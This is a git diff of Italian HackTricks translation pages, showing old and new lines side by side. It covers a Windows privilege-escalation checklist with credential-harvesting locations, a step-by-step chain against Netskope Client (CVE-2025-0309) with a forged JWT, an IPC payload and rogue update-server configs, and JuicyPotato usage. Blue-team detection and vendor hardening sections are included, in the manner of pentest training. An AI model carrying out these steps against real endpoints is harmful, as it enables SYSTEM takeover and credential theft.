### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Write** permessi su applicazioni installate [**Write**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] **Write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] Puoi **write in any folder inside PATH**?
|
||||
- [ ] Esiste qualche servizio che prova a caricare una DLL non esistente?
|
||||
- [ ] Puoi **write** in qualche **binaries folder**?
|
||||
- [ ] Puoi **scrivere in qualche cartella dentro PATH**?
|
||||
- [ ] Esiste qualche servizio noto che **prova a caricare una DLL non-esistente**?
|
||||
- [ ] Puoi **scrivere** in qualche **cartella di binaries**?
|
||||
|
||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Enumerare la rete (condivisioni, interfacce, route, neighbours, ...)
|
||||
- [ ] Prestare particolare attenzione ai servizi di rete che ascoltano solo su localhost (127.0.0.1)
|
||||
- [ ] Enumera la rete (shares, interfaces, routes, neighbours, ...)
|
||||
- [ ] Dai particolare attenzione ai servizi di rete che ascoltano su localhost (127.0.0.1)
|
||||
|
||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] Credenziali [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)
|
||||
- [ ] Credenziali [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) che puoi usare?
|
||||
- [ ] Informazioni interessanti in [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
|
||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credenziali che potresti usare?
|
||||
- [ ] Interessanti [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] Password delle reti [**Wifi**](windows-local-privilege-escalation/index.html#wifi) salvate?
|
||||
- [ ] Informazioni interessanti in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Informazioni interessanti nelle [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] Password in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] Password del [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords?
|
||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenziali?
|
||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
||||
|
||||
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] Password in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] Qualche backup di [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
@ -97,10 +97,10 @@
|
||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] Informazioni interessanti nei [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] Vuoi [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente?
|
||||
- [ ] Vuoi [**chiedere credenziali**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente?
|
||||
- [ ] File interessanti dentro il [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] Altri [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Dentro i [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (db, cronologia, segnalibri, ...)?
|
||||
- [ ] Altri [**registry contenenti credenziali**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] Dentro i [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
|
||||
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in file e registry
|
||||
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) per cercare automaticamente password
|
||||
|
||||
@ -110,6 +110,6 @@
|
||||
|
||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Verificare se puoi abusarne
|
||||
- [ ] Verifica se puoi abusarne
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Questa pagina generalizza una classe di catene di local privilege escalation su Windows trovate in endpoint agent aziendali e updater che espongono una superficie IPC a basso attrito e un flusso di update privilegiato. Un esempio rappresentativo è Netskope Client for Windows < R129 (CVE-2025-0309), dove un utente con pochi privilegi può costringere l'enrollment verso un server controllato dall'attaccante e poi consegnare un MSI malevolo che il servizio SYSTEM installa.
|
||||
Questa pagina generalizza una classe di chain di escalation di privilegi locali Windows trovate in agenti endpoint aziendali e updater che espongono una superficie IPC a basso attrito e un flusso di aggiornamento privilegiato. Un esempio rappresentativo è Netskope Client for Windows < R129 (CVE-2025-0309), dove un utente con privilegi ridotti può costringere l'enrollment verso un server controllato dall'attaccante e poi consegnare un MSI malevolo che il servizio SYSTEM installa.
|
||||
|
||||
Idee chiave riutilizzabili contro prodotti simili:
|
||||
- Abusare dell'IPC localhost di un servizio privilegiato per forzare la ri-iscrizione o la riconfigurazione verso un server controllato dall'attaccante.
|
||||
- Implementare gli endpoint di update del vendor, fornire una Trusted Root CA rogue, e puntare l'updater verso un pacchetto "signed" malevolo.
|
||||
- Evadere controlli di signer deboli (CN allow‑lists), flag di digest opzionali, e proprietà MSI permissive.
|
||||
- Se l'IPC è "encrypted", derivare la key/IV da identificatori macchina leggibili da tutti memorizzati nel registry.
|
||||
- Se il servizio restringe i caller per image path/process name, inject in un processo allow‑listed o spawnarne uno suspended e bootstrap la tua DLL tramite una minimale thread‑context patch.
|
||||
- Abusare della localhost IPC di un servizio privilegiato per forzare il re‑enrollment o la riconfigurazione verso un server controllato dall'attaccante.
|
||||
- Implementare gli endpoint di update del vendor, fornire una Trusted Root CA rogue, e puntare l'updater a un pacchetto maligno “signed”.
|
||||
- Evitare controlli di firma deboli (CN allow‑lists), flag opzionali di digest, e proprietà MSI permissive.
|
||||
- Se l'IPC è “encrypted”, derivare la key/IV da identificatori di macchina leggibili da tutti memorizzati nel registro.
|
||||
- Se il servizio restringe i chiamanti per image path/process name, iniettare in un processo allow‑listed o spawnarne uno suspended e bootstrapare la tua DLL tramite una patch minimale del thread‑context.
|
||||
|
||||
---
|
||||
## 1) Forcing enrollment to an attacker server via localhost IPC
|
||||
## 1) Forzare l'enrollment verso un server dell'attaccante via localhost IPC
|
||||
|
||||
Molti agenti distribuiscono un processo UI in user‑mode che comunica con un servizio SYSTEM via localhost TCP usando JSON.
|
||||
Molti agent includono un processo UI in user‑mode che comunica con un servizio SYSTEM tramite localhost TCP usando JSON.
|
||||
|
||||
Observed in Netskope:
|
||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||
Osservato in Netskope:
|
||||
- UI: stAgentUI (bassa integrità) ↔ Service: stAgentSvc (SYSTEM)
|
||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||
|
||||
Flusso dell'exploit:
|
||||
1) Creare un token JWT di enrollment i cui claim controllano l'host backend (es., AddonUrl). Usare alg=None in modo che non sia richiesta una firma.
|
||||
2) Inviare il messaggio IPC che invoca il comando di provisioning con il tuo JWT e il nome tenant:
|
||||
Exploit flow:
|
||||
1) Crea un token JWT di enrollment i cui claim controllano l'host backend (es. AddonUrl). Usa alg=None così non è richiesta alcuna firma.
|
||||
2) Invia il messaggio IPC che invoca il comando di provisioning con il tuo JWT e il nome del tenant:
|
||||
```json
|
||||
{
|
||||
"148": {
|
||||
@ -31,88 +31,88 @@ Flusso dell'exploit:
|
||||
}
|
||||
}
|
||||
```
|
||||
3) Il servizio inizia a contattare il tuo rogue server per enrollment/config, ad es.:
|
||||
3) Il servizio inizia a colpire il tuo server rogue per enrollment/config, p.es.:
|
||||
- /v1/externalhost?service=enrollment
|
||||
- /config/user/getbrandingbyemail
|
||||
|
||||
Notes:
|
||||
- Se la verifica del caller è basata su path/name‑based, origina la richiesta da un allow‑listed vendor binary (vedi §4).
|
||||
Note:
|
||||
- Se la verifica del caller è basata su path/nome, origina la richiesta da un vendor binary allow‑listed (vedi §4).
|
||||
|
||||
---
|
||||
## 2) Dirottare il canale di aggiornamento per eseguire codice come SYSTEM
|
||||
## 2) Hijacking the update channel to run code as SYSTEM
|
||||
|
||||
Una volta che il client comunica col tuo server, implementa gli endpoint attesi e indirizzalo verso un MSI dell'attaccante. Sequenza tipica:
|
||||
Una volta che il client comunica con il tuo server, implementa gli endpoint attesi e instradalo verso un MSI dell'attaccante. Sequenza tipica:
|
||||
|
||||
1) /v2/config/org/clientconfig → Restituisci una config JSON con un intervallo di aggiornamento molto breve, ad es.:
|
||||
1) /v2/config/org/clientconfig → Restituisci una configurazione JSON con un intervallo di aggiornamento molto breve, p.es.:
|
||||
```json
|
||||
{
|
||||
"clientUpdate": { "updateIntervalInMin": 1 },
|
||||
"check_msi_digest": false
|
||||
}
|
||||
```
|
||||
2) /config/ca/cert → Restituisce un certificato CA in formato PEM. Il service lo installa nello store Local Machine Trusted Root.
|
||||
3) /v2/checkupdate → Fornisce metadata che puntano a un MSI maligno e a una versione fasulla.
|
||||
2) /config/ca/cert → Restituisce un certificato CA in formato PEM. Il servizio lo installa nello Local Machine Trusted Root store.
|
||||
3) /v2/checkupdate → Fornisce metadati che puntano a un MSI malevolo e a una versione falsa.
|
||||
|
||||
Bypassare controlli comuni osservati in the wild:
|
||||
- Signer CN allow‑list: il service potrebbe controllare solo che il Subject CN sia “netSkope Inc” o “Netskope, Inc.”. La tua CA rogue può emettere un leaf con quel CN e firmare l'MSI.
|
||||
- CERT_DIGEST property: includi una property MSI innocua chiamata CERT_DIGEST. Nessuna enforcement all'installazione.
|
||||
- Optional digest enforcement: flag di config (es., check_msi_digest=false) disabilita validazioni crittografiche aggiuntive.
|
||||
Bypassing common checks seen in the wild:
|
||||
- Signer CN allow‑list: il servizio potrebbe controllare solo che il Subject CN sia uguale a “netSkope Inc” o “Netskope, Inc.”. La tua rogue CA può emettere un leaf con quel CN e firmare l'MSI.
|
||||
- CERT_DIGEST property: includi una proprietà MSI benign chiamata CERT_DIGEST. Nessuna applicazione al momento dell'installazione.
|
||||
- Optional digest enforcement: un flag di config (es., check_msi_digest=false) disabilita la validazione crittografica aggiuntiva.
|
||||
|
||||
Risultato: il servizio SYSTEM installa il tuo MSI da
|
||||
Result: il servizio SYSTEM installa il tuo MSI da
|
||||
C:\ProgramData\Netskope\stAgent\data\*.msi
|
||||
eseguendo codice arbitrario come NT AUTHORITY\SYSTEM.
|
||||
|
||||
---
|
||||
## 3) Forging encrypted IPC requests (when present)
|
||||
|
||||
Da R127, Netskope ha incapsulato l'IPC JSON in un campo encryptData che sembra Base64. Il reverse engineering ha mostrato AES con key/IV derivate da valori di registry leggibili da qualsiasi utente:
|
||||
From R127, Netskope ha incapsulato l'IPC JSON in un campo encryptData che sembra Base64. Reversing ha mostrato AES con key/IV derivati da valori di registro leggibili da qualsiasi utente:
|
||||
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
|
||||
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
|
||||
|
||||
Gli attacker possono riprodurre la cifratura e inviare comandi cifrati validi da un utente standard. Suggerimento generale: se un agent improvvisamente “critta” la sua IPC, cerca device IDs, product GUIDs, install IDs sotto HKLM come material.
|
||||
Gli attacker possono riprodurre la cifratura e inviare comandi criptati validi da un utente standard. Suggerimento generale: se un agent improvvisamente “critta” il suo IPC, cerca device IDs, product GUIDs, install IDs sotto HKLM come material.
|
||||
|
||||
---
|
||||
## 4) Bypassing IPC caller allow‑lists (path/name checks)
|
||||
|
||||
Alcuni servizi provano ad autenticare il peer risolvendo il PID della connessione TCP e confrontando il percorso/nome dell'immagine contro binari vendor nella allow‑list sotto Program Files (es., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
Alcuni servizi tentano di autenticare il peer risolvendo il PID della connessione TCP e confrontando il percorso/nome dell'immagine con vendor binaries allow‑listati situati sotto Program Files (es., stagentui.exe, bwansvc.exe, epdlp.exe).
|
||||
|
||||
Due bypass pratici:
|
||||
- DLL injection in un processo presente nella allow‑list (es., nsdiag.exe) e proxy dell'IPC dall'interno.
|
||||
- Avviare un binario della allow‑list in stato suspended e bootstrap della tua proxy DLL senza CreateRemoteThread (vedi §5) per soddisfare le regole di tamper imposte dal driver.
|
||||
- DLL injection in un processo allow‑listato (es., nsdiag.exe) e proxy dell'IPC dall'interno.
|
||||
- Avviare un vendor binary allow‑listato in stato suspended e bootstrap della tua proxy DLL senza CreateRemoteThread (vedi §5) per soddisfare le regole di tamper imposte dal driver.
|
||||
|
||||
---
|
||||
## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch
|
||||
|
||||
I prodotti spesso imbarcano un minifilter/OB callbacks driver (es., Stadrv) che rimuove diritti pericolosi dagli handle verso processi protetti:
|
||||
I prodotti spesso distribuiscono un minifilter/OB callbacks driver (es., Stadrv) per rimuovere diritti pericolosi dagli handle verso processi protetti:
|
||||
- Process: rimuove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
|
||||
- Thread: limita a THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
|
||||
|
||||
Un loader user‑mode affidabile che rispetta questi vincoli:
|
||||
1) CreateProcess di un binario vendor con CREATE_SUSPENDED.
|
||||
2) Ottenere gli handle ancora permessi: PROCESS_VM_WRITE | PROCESS_VM_OPERATION sul processo, e un handle thread con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME se patchi codice a un RIP noto).
|
||||
3) Sovrascrivere ntdll!NtContinue (o un altro thunk mappato precocemente e garantito) con una piccola stub che chiama LoadLibraryW sul percorso della tua DLL, poi salta indietro.
|
||||
4) ResumeThread per triggerare la stub in‑process, caricando la tua DLL.
|
||||
Un loader affidabile in user‑mode che rispetta questi vincoli:
|
||||
1) CreateProcess di un vendor binary con CREATE_SUSPENDED.
|
||||
2) Ottenere gli handle ancora permessi: PROCESS_VM_WRITE | PROCESS_VM_OPERATION sul processo, e un handle thread con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME se patchi il codice a un RIP noto).
|
||||
3) Sovrascrivere ntdll!NtContinue (o un altro thunk mappato precocemente e garantito) con una piccola stub che chiama LoadLibraryW sul percorso della tua DLL, poi ritorna.
|
||||
4) ResumeThread per attivare la stub in‑process, caricando la tua DLL.
|
||||
|
||||
Poiché non hai mai usato PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME su un processo già protetto (l'hai creato tu), la policy del driver è soddisfatta.
|
||||
Poiché non hai mai usato PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME su un processo già protetto (tu l'hai creato), la policy del driver è soddisfatta.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automatizza una rogue CA, la signing di MSI maligni e serve gli endpoint necessari: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope è un custom IPC client che costruisce messaggi IPC arbitrari (opzionalmente AES‑encrypted) e include l'injection via suspended‑process per originare da un binario nella allow‑list.
|
||||
- NachoVPN (Netskope plugin) automatizza una rogue CA, la firma di un MSI malevolo, e fornisce gli endpoint necessari: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope è un IPC client custom che costruisce messaggi IPC arbitrari (opzionalmente AES‑encrypted) e include l'injection tramite processo sospeso per farli originare da un binary allow‑listato.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitorare aggiunte al Local Machine Trusted Root. Sysmon + registry‑mod eventing (vedi guidance di SpecterOps) funziona bene.
|
||||
- Segnalare esecuzioni MSI avviate dal service dell'agent da percorsi come C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Revisionare i log dell'agent per host/tenant di enrollment inattesi, es.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – cercare addonUrl / anomalie tenant e provisioning msg 148.
|
||||
- Allertare su client IPC localhost che non siano i binari firmati attesi, o che originano da alberi di processo figlio inconsueti.
|
||||
- Monitorare le aggiunte al Local Machine Trusted Root. Sysmon + registry‑mod eventing (vedi SpecterOps guidance) funziona bene.
|
||||
- Segnalare esecuzioni di MSI avviate dal servizio dell'agent da percorsi come C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Revisionare i log dell'agent per host/tenant di enrollment inaspettati, es.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – cercare anomalie in addonUrl / tenant e provisioning msg 148.
|
||||
- Allertare su client IPC localhost che non sono i signed binaries attesi, o che originano da alberi di processi figli insoliti.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Vincolare enrollment/update hosts a una allow‑list rigorosa; rifiutare domini non trusted nel clientcode.
|
||||
- Autenticare i peer IPC con primitive OS (ALPC security, named‑pipe SIDs) invece di controlli su image path/name.
|
||||
- Tenere materiale segreto fuori da HKLM leggibile da tutti; se l'IPC deve essere cifrato, derivare le chiavi da secret protetti o negoziare su channel autenticati.
|
||||
- Trattare l'updater come una superficie di supply‑chain: richiedere una catena completa verso una CA trusted che controlli, verificare le firme dei pacchetti contro chiavi pinned, e fail closed se la validazione è disabilitata in config.
|
||||
- Tenere il materiale secret fuori da HKLM leggibile da tutti; se l'IPC deve essere encrypted, derivare le chiavi da secret protetti o negoziare su canali autenticati.
|
||||
- Trattare l'updater come una superficie supply‑chain: richiedere una catena completa verso una CA trusted che controlli, verificare le firme dei package rispetto a chiavi pinned, e fallire closed se la validazione è disabilitata in config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
|
||||
@ -2,58 +2,58 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING] > JuicyPotato è legacy. Generalmente funziona sulle versioni di Windows fino a Windows 10 1803 / Windows Server 2016. Le modifiche di Microsoft introdotte a partire da Windows 10 1809 / Server 2019 hanno rotto la tecnica originale. Per quei build e successivi, considera alternative più moderne come PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e altre. Vedi la pagina sotto per opzioni e utilizzo aggiornati.
|
||||
> [!WARNING] > JuicyPotato è legacy. Funziona generalmente su Windows fino a Windows 10 1803 / Windows Server 2016. Le modifiche introdotte da Microsoft a partire da Windows 10 1809 / Server 2019 hanno rotto la tecnica originale. Per quelle build e versioni successive, considera alternative moderne come PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e altre. Vedi la pagina qui sotto per opzioni e utilizzo aggiornati.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## Juicy Potato (abuso dei privilegi "golden") <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
## Juicy Potato (abuso dei privilegi 'golden') <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Una versione addolcita di_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un po' di juice, cioè **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
|
||||
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Puoi scaricare juicypotato da [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Note rapide di compatibilità
|
||||
### Compatibility quick notes
|
||||
|
||||
- Funziona in modo affidabile fino a Windows 10 1803 e Windows Server 2016 quando il contesto corrente ha SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege.
|
||||
- Rotto dall'hardening Microsoft in Windows 10 1809 / Windows Server 2019 e successivi. Preferisci le alternative linkate sopra per quei build.
|
||||
- Interrotto dall'hardening di Microsoft in Windows 10 1809 / Windows Server 2019 e versioni successive. Preferisci le alternative collegate sopra per quelle build.
|
||||
|
||||
### Sommario <a href="#summary" id="summary"></a>
|
||||
### Summary <a href="#summary" id="summary"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata sul servizio `BITS` che ha il listener MiTM su `127.0.0.1:6666` e quando si hanno i privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione di build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
|
||||
|
||||
Abbiamo deciso di weaponizzare [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **dai il benvenuto a Juicy Potato**.
|
||||
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
|
||||
|
||||
> Per la teoria, vedi [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) e segui la catena di link e riferimenti.
|
||||
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
|
||||
|
||||
Abbiamo scoperto che, oltre a `BITS`, ci sono diversi COM servers che possiamo abusare. Devono solo:
|
||||
Abbiamo scoperto che, oltre a `BITS`, esistono diversi COM servers che possiamo abusare. Devono semplicemente:
|
||||
|
||||
1. poter essere istanziati dall'utente corrente, normalmente un “service user” che ha privilegi di impersonation
|
||||
1. essere istanziabili dall'utente corrente, normalmente un “service user” che possiede privilegi di impersonazione
|
||||
2. implementare l'interfaccia `IMarshal`
|
||||
3. girare come utente elevato (SYSTEM, Administrator, …)
|
||||
3. essere eseguiti come utente elevato (SYSTEM, Administrator, …)
|
||||
|
||||
Dopo alcuni test abbiamo ottenuto e testato una lista estesa di [CLSID interessanti](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows.
|
||||
Dopo alcuni test abbiamo ottenuto e testato un'ampia lista di [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows.
|
||||
|
||||
### Dettagli succosi <a href="#juicy-details" id="juicy-details"></a>
|
||||
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato permette di:
|
||||
JuicyPotato consente di:
|
||||
|
||||
- **Target CLSID** _scegli qualsiasi CLSID tu voglia._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare la lista organizzata per OS._
|
||||
- **COM Listening port** _definire la porta di ascolto COM che preferisci (invece della 6666 hardcoded nel marshalled)_
|
||||
- **COM Listening IP address** _bindare il server su qualsiasi IP_
|
||||
- **Process creation mode** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_
|
||||
- **COM Listening port** _definisci la porta di ascolto COM che preferisci (invece della marshalled hardcoded 6666)_
|
||||
- **COM Listening IP address** _lega il server a qualsiasi IP_
|
||||
- **Process creation mode** _in base ai privilegi dell'utente impersonato puoi scegliere tra:_
|
||||
- `CreateProcessWithToken` (needs `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
|
||||
- `both`
|
||||
- **Process to launch** _lanciare un eseguibile o uno script se l'exploit ha successo_
|
||||
- **Process Argument** _personalizzare gli argomenti del processo lanciato_
|
||||
- **Process to launch** _avvia un eseguibile o script se l'exploitation ha successo_
|
||||
- **Process Argument** _personalizza gli argomenti del processo lanciato_
|
||||
- **RPC Server address** _per un approccio stealth puoi autenticarti a un RPC server esterno_
|
||||
- **RPC Server port** _utile se vuoi autenticarti a un server esterno e il firewall blocca la porta `135`…_
|
||||
- **TEST mode** _principalmente per scopi di test, es. testare CLSID. Crea il DCOM e stampa l'utente del token. Vedi_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
- **RPC Server port** _utile se vuoi autenticarti a un server esterno e il firewall sta bloccando la porta `135`…_
|
||||
- **TEST mode** _principalmente per scopi di testing, es. testare i CLSID. Crea il DCOM e stampa l'utente del token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Usage <a href="#usage" id="usage"></a>
|
||||
```
|
||||
@ -72,30 +72,30 @@ Optional args:
|
||||
-k <ip>: RPC server ip address (default 127.0.0.1)
|
||||
-n <port>: RPC server listen port (default 135)
|
||||
```
|
||||
### Considerazioni finali <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
Se l'utente ha i privilegi `SeImpersonate` o `SeAssignPrimaryToken` allora sei **SYSTEM**.
|
||||
|
||||
È quasi impossibile impedire l'abuso di tutti questi COM Servers. Potresti pensare di modificare i permessi di questi oggetti tramite `DCOMCNFG`, ma buona fortuna, sarà difficile.
|
||||
È quasi impossibile impedire l'abuso di tutti questi COM Servers. Si potrebbe pensare di modificare i permessi di questi oggetti tramite `DCOMCNFG`, ma buona fortuna: sarà impegnativo.
|
||||
|
||||
La soluzione reale è proteggere gli account sensibili e le applicazioni che girano sotto gli account `* SERVICE`. Bloccare `DCOM` ostacolerebbe certamente questo exploit, ma potrebbe avere un impatto serio sul sistema operativo sottostante.
|
||||
La soluzione reale è proteggere account sensibili e applicazioni che vengono eseguiti sotto gli account `* SERVICE`. Arrestare `DCOM` certamente inibirebbe questo exploit ma potrebbe avere un serio impatto sul sistema operativo sottostante.
|
||||
|
||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
## JuicyPotatoNG (2022+)
|
||||
|
||||
JuicyPotatoNG reintroduce una local privilege escalation in stile JuicyPotato su Windows moderni combinando:
|
||||
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
|
||||
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
|
||||
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||
JuicyPotatoNG reintroduce una JuicyPotato-style local privilege escalation su Windows moderni combinando:
|
||||
- DCOM OXID resolution a un server RPC locale su una porta scelta, evitando il vecchio listener hardcoded 127.0.0.1:6666.
|
||||
